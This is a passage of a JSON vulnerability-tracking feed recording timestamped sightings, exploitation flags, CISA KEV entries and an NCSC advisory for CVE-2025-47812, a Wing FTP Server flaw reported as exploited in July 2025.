18:58:00", "url": "https://t.me/MalaysiaHacktivistz/5519"}, {"timestamp": "2025-07-11T12:04:13Z", "date_only": false, "value": "2025-07-11T12:04:13.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/TengkorakCyberCrewzz/32852", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "89a169ca-a208-4a59-91ed-85f1a176d93f", "content": "Critical Wing FTP Server Vulnerability (CVE-2025-47812) Actively Being Exploited in the Wild \u2013 thehackernews.com\n\nFri, 11 Jul 2025 18:58:00", "url": "https://t.me/TengkorakCyberCrewzz/32852"}, {"timestamp": "2025-07-11T12:04:13Z", "date_only": false, "value": "2025-07-11T12:04:13.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/TengkorakCyberCrewzz/3682", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "e9070a51-04a2-4ead-bda0-b768edafe61e", "content": "Critical Wing FTP Server Vulnerability (CVE-2025-47812) Actively Being Exploited in the Wild \u2013 thehackernews.com\n\nFri, 11 Jul 2025 18:58:00", "url": "https://t.me/TengkorakCyberCrewzz/3682"}, {"timestamp": "2025-07-11T12:10:24.035Z", "date_only": false, "value": "2025-07-11T12:10:24.035643Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/jos1264.social.skynetcloud.site.ap.brid.gy/post/3ltossi52zo62", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "cd13d54e-4f62-4c6c-939a-681cb6119b6d", "url": "https://bsky.app/profile/jos1264.social.skynetcloud.site.ap.brid.gy/post/3ltossi52zo62"}, {"timestamp": "2025-07-11T12:10:47.584Z", "date_only": false, "value": "2025-07-11T12:10:47.584509Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/jos1264.social.skynetcloud.site.ap.brid.gy/post/3ltostffvipt2", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "a479ff94-347c-4c29-8d10-69b6c8814edb", "url": "https://bsky.app/profile/jos1264.social.skynetcloud.site.ap.brid.gy/post/3ltostffvipt2"}, {"timestamp": "2025-07-11T12:42:36.758Z", "date_only": false, "value": "2025-07-11T12:42:36.758748Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/helpnetsecurity.com/post/3ltoumfqkok25", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "08f13184-4874-4d98-b92a-3ede22177014", "url": "https://bsky.app/profile/helpnetsecurity.com/post/3ltoumfqkok25"}, {"timestamp": "2025-07-11T13:06:44.068Z", "date_only": false, "value": "2025-07-11T13:06:44.068688Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/jos1264.social.skynetcloud.site.ap.brid.gy/post/3ltovwbmhnct2", "record": "cve-2025-47812", "field": "creation_timestamp", "uuid": "e19a5745-4b03-4d8f-b530-fd6cacc1e2c6", "url": "https://bsky.app/profile/jos1264.social.skynetcloud.site.ap.brid.gy/post/3ltovwbmhnct2"}, {"timestamp": "2025-07-11T13:30:06.746Z", "date_only": false, "value": "2025-07-11T13:30:06.746090Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/techit.bsky.social/post/3ltoxbg356m2k", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "0a665f34-c844-4323-9a72-a13a41bddbae", "url": "https://bsky.app/profile/techit.bsky.social/post/3ltoxbg356m2k"}, {"timestamp": "2025-07-11T13:52:20.931Z", "date_only": false, "value": "2025-07-11T13:52:20.931211Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3ltoyigxpknt2", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "dc5c0809-9888-4705-b12c-3d5e3b9535e3", "url": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3ltoyigxpknt2"}, {"timestamp": "2025-07-11T14:30:30.590Z", "date_only": false, "value": "2025-07-11T14:30:30.590187Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/brianhaddock.bsky.social/post/3ltp2nhxxl62a", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "71c3640d-8fce-4963-8515-f24684a66f9b", "url": "https://bsky.app/profile/brianhaddock.bsky.social/post/3ltp2nhxxl62a"}, {"timestamp": "2025-07-11T14:42:10Z", "date_only": false, "value": "2025-07-11T14:42:10.000000Z", "kind": "sighting", "label": "Exploited", "source": "Telegram/w_LyihCjNRJsC7-CCp9tqzvHz6_bWoOVV7bb63-RP_v7MQ", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "02e5e334-7f26-4426-9f1c-8cb8db87f1c7"}, {"timestamp": "2025-07-11T15:26:59.950Z", "date_only": false, "value": "2025-07-11T15:26:59.950405Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3ltp5shmxc22s", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "a661c581-7772-4c81-b16a-2b5522ca59ab", "url": "https://bsky.app/profile/thedailytechfeed.com/post/3ltp5shmxc22s"}, {"timestamp": "2025-07-11T17:47:07.808Z", "date_only": false, "value": "2025-07-11T17:47:07.808617Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3ltpfn22s762u", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "48e7dc80-3c61-40bc-b5b4-d48c16adfcc4", "url": "https://bsky.app/profile/undercodenews.bsky.social/post/3ltpfn22s762u"}, {"timestamp": "2025-07-11T18:42:04.445Z", "date_only": false, "value": "2025-07-11T18:42:04.445436Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/nimblenerd.social/post/3ltpipbzprq2t", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "8fc721c1-34ba-4c25-8c95-e5080d5e7f42", "url": "https://bsky.app/profile/nimblenerd.social/post/3ltpipbzprq2t"}, {"timestamp": "2025-07-11T18:58:53.744Z", "date_only": false, "value": "2025-07-11T18:58:53.744117Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/threatcodex/statuses/114836133206205644", "record": "cve-2025-47812", "field": "creation_timestamp", "uuid": "a605533f-9f4a-4ae4-8e05-61c6cf238960", "url": "https://infosec.exchange/users/threatcodex/statuses/114836133206205644"}, {"timestamp": "2025-07-11T19:06:18.253Z", "date_only": false, "value": "2025-07-11T19:06:18.253241Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/nimblenerd.social/post/3ltpk2mnrvg2l", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "7cf3fd88-5185-4a72-9ecd-7d4b08a5ec90", "url": "https://bsky.app/profile/nimblenerd.social/post/3ltpk2mnrvg2l"}, {"timestamp": "2025-07-11T21:02:23.153Z", "date_only": false, "value": "2025-07-11T21:02:23.153568Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3ltpqk6cxuz2c", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "ded206d6-4704-492e-bf83-b65dc4b1b1d8", "url": "https://bsky.app/profile/beikokucyber.bsky.social/post/3ltpqk6cxuz2c"}, {"timestamp": "2025-07-11T23:15:58.111Z", "date_only": false, "value": "2025-07-11T23:15:58.111665Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/ninjaowl.ai/post/3ltpxz2ch252y", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "80b43bc2-97f4-4b72-aadb-86deb52d3620", "url": "https://bsky.app/profile/ninjaowl.ai/post/3ltpxz2ch252y"}, {"timestamp": "2025-07-11T23:30:25Z", "date_only": false, "value": "2025-07-11T23:30:25.000000Z", "kind": "sighting", "label": "Exploited", "source": "Telegram/2D0Xf50muPPYrw8aaWgNb1AYZYeJntkO4B1P8NAi4ctAWUE", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "4febb938-d130-442e-8529-a23967ea325e"}, {"timestamp": "2025-07-12T00:05:26.716Z", "date_only": false, "value": "2025-07-12T00:05:26.716317Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/jos1264.social.skynetcloud.site.ap.brid.gy/post/3ltq2r6drope2", "record": "cve-2025-47812", "field": "creation_timestamp", "uuid": "d5774b73-dadb-4788-883f-15138904fc18", "url": "https://bsky.app/profile/jos1264.social.skynetcloud.site.ap.brid.gy/post/3ltq2r6drope2"}, {"timestamp": "2025-07-12T00:49:53.426Z", "date_only": false, "value": "2025-07-12T00:49:53.426626Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3ltq5aw5ykc2o", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "b857ab51-7f0d-43a9-8ad2-4b42da6e1c4b", "url": "https://bsky.app/profile/getpokemon7.bsky.social/post/3ltq5aw5ykc2o"}, {"timestamp": "2025-07-12T00:51:42.705Z", "date_only": false, "value": "2025-07-12T00:51:42.705996Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3ltq5e75w4s2o", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "a5812e5c-0f20-4ecb-94cf-249fe8df98a7", "url": "https://bsky.app/profile/getpokemon7.bsky.social/post/3ltq5e75w4s2o"}, {"timestamp": "2025-07-12T01:16:50Z", "date_only": false, "value": "2025-07-12T01:16:50.000000Z", "kind": "sighting", "label": "Seen", "source": "https://threatintel.cc/2025/07/11/hour-cyber-incident-summary-incident.html", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "83c4778f-59cd-4ed7-a753-1d53d0fca6c3", "url": "https://threatintel.cc/2025/07/11/hour-cyber-incident-summary-incident.html"}, {"timestamp": "2025-07-12T06:42:10.823Z", "date_only": false, "value": "2025-07-12T06:42:10.823404Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3ltqqwwx7kd2e", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "ab46c38f-67ae-4894-b780-ee51603a0799", "url": "https://bsky.app/profile/cyberhub.blog/post/3ltqqwwx7kd2e"}, {"timestamp": "2025-07-12T07:27:00.952Z", "date_only": false, "value": "2025-07-12T07:27:00.952384Z", "kind": "sighting", "label": "Seen", "source": "https://mastodon.social/users/hrbrmstr/statuses/114839074804629373", "record": "cve-2025-47812", "field": "creation_timestamp", "uuid": "eac050eb-b44e-4789-9a76-d76c18309f59", "url": "https://mastodon.social/users/hrbrmstr/statuses/114839074804629373"}, {"timestamp": "2025-07-12T07:27:19.819Z", "date_only": false, "value": "2025-07-12T07:27:19.819852Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hrbrmstr.mastodon.social.ap.brid.gy/post/3ltqth7mxl3p2", "record": "cve-2025-47812", "field": "creation_timestamp", "uuid": "3edc99d3-b0da-4db5-8a69-6e3aee5e9b43", "url": "https://bsky.app/profile/hrbrmstr.mastodon.social.ap.brid.gy/post/3ltqth7mxl3p2"}, {"timestamp": "2025-07-12T09:53:34.387Z", "date_only": false, "value": "2025-07-12T09:53:34.387417Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3ltr3mv67zcj2", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "1f19458e-01dc-4063-9c2a-08a15934abc0", "url": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3ltr3mv67zcj2"}, {"timestamp": "2025-07-12T11:12:19.207Z", "date_only": false, "value": "2025-07-12T11:12:19.207582Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/patrickcmiller/statuses/114839960842618558", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "714ae032-7518-492a-9a3b-3d91c58a6b48", "url": "https://infosec.exchange/users/patrickcmiller/statuses/114839960842618558"}, {"timestamp": "2025-07-12T14:11:05.092Z", "date_only": false, "value": "2025-07-12T14:11:05.092524Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3ltrjznw64c2a", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "38440baf-eaa2-46fb-bec0-771f8b10f14c", "url": "https://bsky.app/profile/hacker.at.thenote.app/post/3ltrjznw64c2a"}, {"timestamp": "2025-07-12T15:31:34.320Z", "date_only": false, "value": "2025-07-12T15:31:34.320334Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3ltrojkkjet2z", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "740a2dd0-8366-4d45-9c8a-73e31f84fae0", "url": "https://bsky.app/profile/securityrss.bsky.social/post/3ltrojkkjet2z"}, {"timestamp": "2025-07-12T15:46:11.660Z", "date_only": false, "value": "2025-07-12T15:46:11.660086Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/nimblenerd.social/post/3ltrpdpgpjr2a", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "647216ce-8173-41c5-ba50-5666d54f0875", "url": "https://bsky.app/profile/nimblenerd.social/post/3ltrpdpgpjr2a"}, {"timestamp": "2025-07-12T16:30:25.014Z", "date_only": false, "value": "2025-07-12T16:30:25.014051Z", "kind": "sighting", "label": "Seen", "source": "https://poliverso.org/objects/0477a01e-b882c95c-ff63716a93a13f64", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "a56204a0-60e8-44af-af34-ec05c48ede1c", "url": "https://poliverso.org/objects/0477a01e-b882c95c-ff63716a93a13f64"}, {"timestamp": "2025-07-12T16:40:33.821Z", "date_only": false, "value": "2025-07-12T16:40:33.821596Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3ltrsewoqd62q", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "ba4c3b45-7406-4045-9205-cb12fe8b2b97", "url": "https://bsky.app/profile/undercodenews.bsky.social/post/3ltrsewoqd62q"}, {"timestamp": "2025-07-12T16:43:20.905Z", "date_only": false, "value": "2025-07-12T16:43:20.905375Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3ltrsjwgras2a", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "b6524c15-f49f-4705-82c3-a71db8f5cc8b", "url": "https://bsky.app/profile/hacker.at.thenote.app/post/3ltrsjwgras2a"}, {"timestamp": "2025-07-12T22:33:05Z", "date_only": false, "value": "2025-07-12T22:33:05.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/CyberBulletin/3632", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "137373e4-7d7d-499c-a7b1-3bc7a9b36dcd", "content": "\u26a1\ufe0fCritical Wing FTP Server Vulnerability (CVE-2025-47812) Actively Being Exploited in the Wild.\n\n#CyberBulletin", "url": "https://t.me/CyberBulletin/3632"}, {"timestamp": "2025-07-13T00:50:11.743Z", "date_only": false, "value": "2025-07-13T00:50:11.743122Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/abijita.bsky.social/post/3ltsnqhnxbo23", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "44732217-c163-451a-a98e-df92d895bfc7", "url": "https://bsky.app/profile/abijita.bsky.social/post/3ltsnqhnxbo23"}, {"timestamp": "2025-07-13T17:01:52.528Z", "date_only": false, "value": "2025-07-13T17:01:52.528496Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/nimblenerd.social/post/3ltudzxqnap2t", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "d3b7c604-9184-4c1d-aedb-c2c4e5adb5c7", "url": "https://bsky.app/profile/nimblenerd.social/post/3ltudzxqnap2t"}, {"timestamp": "2025-07-13T17:40:11.029Z", "date_only": false, "value": "2025-07-13T17:40:11.029627Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3ltug6gzg6y2s", "record": "cve-2025-47812", "field": "creation_timestamp", "uuid": "522f4328-9c75-46b7-a20c-a18f2029e7c7", "url": "https://bsky.app/profile/cyberhub.blog/post/3ltug6gzg6y2s"}, {"timestamp": "2025-07-13T18:05:06.790Z", "date_only": false, "value": "2025-07-13T18:05:06.790036Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3ltuhjkzoagp2", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "7e3d75a2-da5c-424e-b01f-a286a7c305cf", "url": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3ltuhjkzoagp2"}, {"timestamp": "2025-07-13T22:28:39.663Z", "date_only": false, "value": "2025-07-13T22:28:39.663431Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3ltuwcbzlow2n", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "e22087a6-8239-4cd3-93ca-dd8915148ab2", "url": "https://bsky.app/profile/kitafox.bsky.social/post/3ltuwcbzlow2n"}, {"timestamp": "2025-07-14T00:00:00Z", "date_only": false, "value": "2025-07-14T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "cisa-kev", "record": "CVE-2025-47812", "field": "timestamps.asserted_at", "uuid": "67ddc300-6b8c-4973-be9d-e75aa27209ac", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2025-07-14T00:00:00Z", "date_only": true, "value": "2025-07-14", "kind": "other", "label": "Catalog added", "source": "cvelistv5 / CISA-ADP", "record": "cve-2025-47812", "field": "containers.adp.0.metrics.1.other.content.dateAdded"}, {"timestamp": "2025-07-14T00:00:00Z", "date_only": true, "value": "2025-07-14", "kind": "kev", "label": "Date added", "source": "cisa-kev", "record": "CVE-2025-47812", "field": "evidence.0.details.date_added", "uuid": "67ddc300-6b8c-4973-be9d-e75aa27209ac", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2025-07-14T00:00:00Z", "date_only": false, "value": "2025-07-14T00:00:00+00:00", "kind": "kev", "label": "First seen", "source": "cisa-kev", "record": "CVE-2025-47812", "field": "timestamps.first_seen_at", "uuid": "67ddc300-6b8c-4973-be9d-e75aa27209ac", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2025-07-14T00:00:00Z", "date_only": false, "value": "2025-07-14T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "cisa-kev", "record": "CVE-2025-47812", "field": "status.status_updated_at", "uuid": "67ddc300-6b8c-4973-be9d-e75aa27209ac", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2025-07-14T00:00:00Z", "date_only": false, "value": "2025-07-14T00:00:00.000Z", "kind": "other", "label": "Time", "source": "cvelistv5 / CISA-ADP", "record": "cve-2025-47812", "field": "containers.adp.0.timeline.0.time"}, {"timestamp": "2025-07-14T01:31:48.293Z", "date_only": false, "value": "2025-07-14T01:31:48.293871Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/mwyr.es/post/3ltvajs4tlc2n", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "cf7eac62-6f31-4dfa-94e5-34b949752e14", "url": "https://bsky.app/profile/mwyr.es/post/3ltvajs4tlc2n"}, {"timestamp": "2025-07-14T01:31:49.405Z", "date_only": false, "value": "2025-07-14T01:31:49.405462Z", "kind": "sighting", "label": "Seen", "source": "https://aus.social/users/mwyres/statuses/114849002863118740", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "59aa4ea3-b801-41a2-a0fa-f12eb066722a", "url": "https://aus.social/users/mwyres/statuses/114849002863118740"}, {"timestamp": "2025-07-14T04:12:10.519Z", "date_only": false, "value": "2025-07-14T04:12:10.519407Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/patrickcmiller.bsky.social/post/3ltvjiksy5f25", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "e7aaff28-c2f8-4806-94b2-af67b34369b8", "url": "https://bsky.app/profile/patrickcmiller.bsky.social/post/3ltvjiksy5f25"}, {"timestamp": "2025-07-14T06:06:24.154Z", "date_only": false, "value": "2025-07-14T06:06:24.154078Z", "kind": "other", "label": "Advisory revision", "source": "csaf_ncscnl \u00b7 NCSC-2025-0230", "record": "NCSC-2025-0230", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2025-07-14T06:06:24.154Z", "date_only": false, "value": "2025-07-14T06:06:24.154078Z", "kind": "milestone", "label": "Published", "source": "csaf_ncscnl \u00b7 NCSC-2025-0230", "record": "NCSC-2025-0230", "field": "document.tracking.initial_release_date"}, {"timestamp": "2025-07-14T06:06:24.154Z", "date_only": false, "value": "2025-07-14T06:06:24.154078Z", "kind": "other", "label": "Updated", "source": "csaf_ncscnl \u00b7 NCSC-2025-0230", "record": "NCSC-2025-0230", "field": "document.tracking.current_release_date"}, {"timestamp": "2025-07-14T07:29:36Z", "date_only": false, "value": "2025-07-14T07:29:36+00:00", "kind": "kev", "label": "Asserted", "source": "shadowserver", "record": "CVE-2025-47812", "field": "timestamps.asserted_at", "uuid": "8491d74a-1f3a-4b0e-bc64-f4f623bf4752", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2025-07-14T07:29:36Z", "date_only": false, "value": "2025-07-14T07:29:36+00:00", "kind": "kev", "label": "First seen", "source": "shadowserver", "record": "CVE-2025-47812", "field": "timestamps.first_seen_at", "uuid": "8491d74a-1f3a-4b0e-bc64-f4f623bf4752", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2025-07-14T08:46:05Z", "date_only": false, "value": "2025-07-14T08:46:05.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/c8e1683d-0980-4c43-ac15-6c158bd8a9a1", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "9a1cd1d7-9a8a-4b0a-8a6f-d1602b6101b9"}, {"timestamp": "2025-07-14T13:04:06.742Z", "date_only": false, "value": "2025-07-14T13:04:06.742297Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3ltwh7imy3k2v", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "8ee397cc-35c0-4a77-81de-199cbd97e0cc", "url": "https://bsky.app/profile/shadowserver.bsky.social/post/3ltwh7imy3k2v"}, {"timestamp": "2025-07-14T13:04:07.236Z", "date_only": false, "value": "2025-07-14T13:04:07.236889Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3ltwh7mrgek2v", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "2474b758-233c-48e1-9194-e26c32bfcfcb", "url": "https://bsky.app/profile/shadowserver.bsky.social/post/3ltwh7mrgek2v"}, {"timestamp": "2025-07-14T13:04:07.766Z", "date_only": false, "value": "2025-07-14T13:04:07.766333Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3ltwh7pv7q22v", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "9c2c41a6-7589-4bcd-9cbd-a627010d275a", "url": "https://bsky.app/profile/shadowserver.bsky.social/post/3ltwh7pv7q22v"}, {"timestamp": "2025-07-14T13:06:00.953Z", "date_only": false, "value": "2025-07-14T13:06:00.953656Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/shadowserver/statuses/114851732393942473", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "7dea36ed-cf96-417a-a9a9-c9445211c575", "url": "https://infosec.exchange/users/shadowserver/statuses/114851732393942473"}, {"timestamp": "2025-07-14T16:41:02.996Z", "date_only": false, "value": "2025-07-14T16:41:02.996195Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3ltwtdngfnc2a", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "5eb68fd6-3afc-4df6-b609-61c27a799d3e", "url": "https://bsky.app/profile/hacker.at.thenote.app/post/3ltwtdngfnc2a"}, {"timestamp": "2025-07-14T17:53:39.111Z", "date_only": false, "value": "2025-07-14T17:53:39.111973Z", "kind": "sighting", "label": "Seen", "source": "https://mastodon.social/users/hrbrmstr/statuses/114852863496673528", "record": "cve-2025-47812", "field": "creation_timestamp", "uuid": "ca193e08-da40-4807-b53c-b17c4c2a75ae", "url": "https://mastodon.social/users/hrbrmstr/statuses/114852863496673528"}, {"timestamp": "2025-07-14T17:56:57.857Z", "date_only": false, "value": "2025-07-14T17:56:57.857495Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hrbrmstr.mastodon.social.ap.brid.gy/post/3ltwxfrmcdqm2", "record": "cve-2025-47812", "field": "creation_timestamp", "uuid": "76e2887a-b5fc-4373-9b3f-e0a57f1c3f29", "url": "https://bsky.app/profile/hrbrmstr.mastodon.social.ap.brid.gy/post/3ltwxfrmcdqm2"}, {"timestamp": "2025-07-14T18:00:28.103Z", "date_only": false, "value": "2025-07-14T18:00:28.103130Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cyberalerts.bsky.social/post/3ltwxroef422i", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "6b2b5c99-b369-4b93-ba74-d9a05c6aefcc", "url": "https://bsky.app/profile/cyberalerts.bsky.social/post/3ltwxroef422i"}, {"timestamp": "2025-07-14T18:20:50.154Z", "date_only": false, "value": "2025-07-14T18:20:50.154059Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3ltwyvx5az224", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "b2d191ed-498b-4db7-8239-05bc1d9c29ab", "url": "https://bsky.app/profile/basefortify.bsky.social/post/3ltwyvx5az224"}, {"timestamp": "2025-07-14T18:29:50.494Z", "date_only": false, "value": "2025-07-14T18:29:50.494964Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/brianhaddock.bsky.social/post/3ltwzg6yazl26", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "372d38f2-246a-40a2-a548-24f71a4f1abb", "url": "https://bsky.app/profile/brianhaddock.bsky.social/post/3ltwzg6yazl26"}, {"timestamp": "2025-07-14T18:57:12.284Z", "date_only": false, "value": "2025-07-14T18:57:12.284605Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/nimblenerd.social/post/3ltx2x4bt462f", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "76b197a9-cacd-4674-91e1-16541e98febe", "url": "https://bsky.app/profile/nimblenerd.social/post/3ltx2x4bt462f"}, {"timestamp": "2025-07-14T19:10:07.818Z", "date_only": false, "value": "2025-07-14T19:10:07.818512Z", "kind": "sighting", "label": "Seen", "source": "https://feedsin.space/feed/CISAKevBot/items/4404872", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "a17736ff-32c4-443b-9406-d7b7fb71c58e", "url": "https://feedsin.space/feed/CISAKevBot/items/4404872"}, {"timestamp": "2025-07-14T20:02:27.033Z", "date_only": false, "value": "2025-07-14T20:02:27.033814Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3ltx6ls74ab2g", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "663160d1-d58e-4808-ad55-ea69ce6484d0", "url": "https://bsky.app/profile/pigondrugs.bsky.social/post/3ltx6ls74ab2g"}, {"timestamp": "2025-07-14T21:07:05.976Z", "date_only": false, "value": "2025-07-14T21:07:05.976352Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/jgreig.bsky.social/post/3ltxc7bstes2v", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "65ae30e3-31be-46b3-82c8-f3f83520ce16", "url": "https://bsky.app/profile/jgreig.bsky.social/post/3ltxc7bstes2v"}, {"timestamp": "2025-07-14T21:19:32.795Z", "date_only": false, "value": "2025-07-14T21:19:32.795545Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3ltxcvnt3ta2u", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "d0a4e7a1-0911-4acc-a8fa-5bd11cbe398b", "url": "https://bsky.app/profile/kitafox.bsky.social/post/3ltxcvnt3ta2u"}, {"timestamp": "2025-07-15T02:26:54.991Z", "date_only": false, "value": "2025-07-15T02:26:54.991682Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3ltxu3b6cg32j", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "a224d6bc-9488-4e11-b750-4f640dc77459", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3ltxu3b6cg32j"}, {"timestamp": "2025-07-15T05:27:40.043Z", "date_only": false, "value": "2025-07-15T05:27:40.043200Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/opsmatters.com/post/3lty66hnafc2y", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "b215a47e-f273-4f63-8c8e-b02efe6fdd56", "url": "https://bsky.app/profile/opsmatters.com/post/3lty66hnafc2y"}, {"timestamp": "2025-07-15T08:37:14.152Z", "date_only": false, "value": "2025-07-15T08:37:14.152422Z", "kind": "sighting", "label": "Seen", "source": "https://poliverso.org/objects/0477a01e-6e94d8ed-0f9a487bfd7d9d96", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "e1668070-b2ce-4ef6-bf6d-e9a9eceef86d", "url": "https://poliverso.org/objects/0477a01e-6e94d8ed-0f9a487bfd7d9d96"}, {"timestamp": "2025-07-15T08:54:51.517Z", "date_only": false, "value": "2025-07-15T08:54:51.517879Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/ytroncal.bsky.social/post/3ltyjqu3oq22q", "record": "CVE-2025-47812", 